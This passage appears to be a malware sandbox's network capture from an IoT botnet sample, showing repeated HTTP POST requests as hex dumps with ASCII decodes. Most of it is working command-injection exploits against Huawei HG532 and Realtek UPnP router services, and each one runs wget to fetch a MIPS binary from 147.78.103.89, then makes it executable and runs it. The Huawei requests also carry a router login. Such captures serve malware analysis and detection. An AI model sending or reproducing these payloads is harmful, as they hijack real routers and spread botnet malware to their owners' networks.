62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:56.375387907 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      102192.168.2.153498445.207.15.10652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:55.397705078 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:59.545023918 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:05.688877106 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:17.720520973 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:42.043756962 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:31.190475941 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 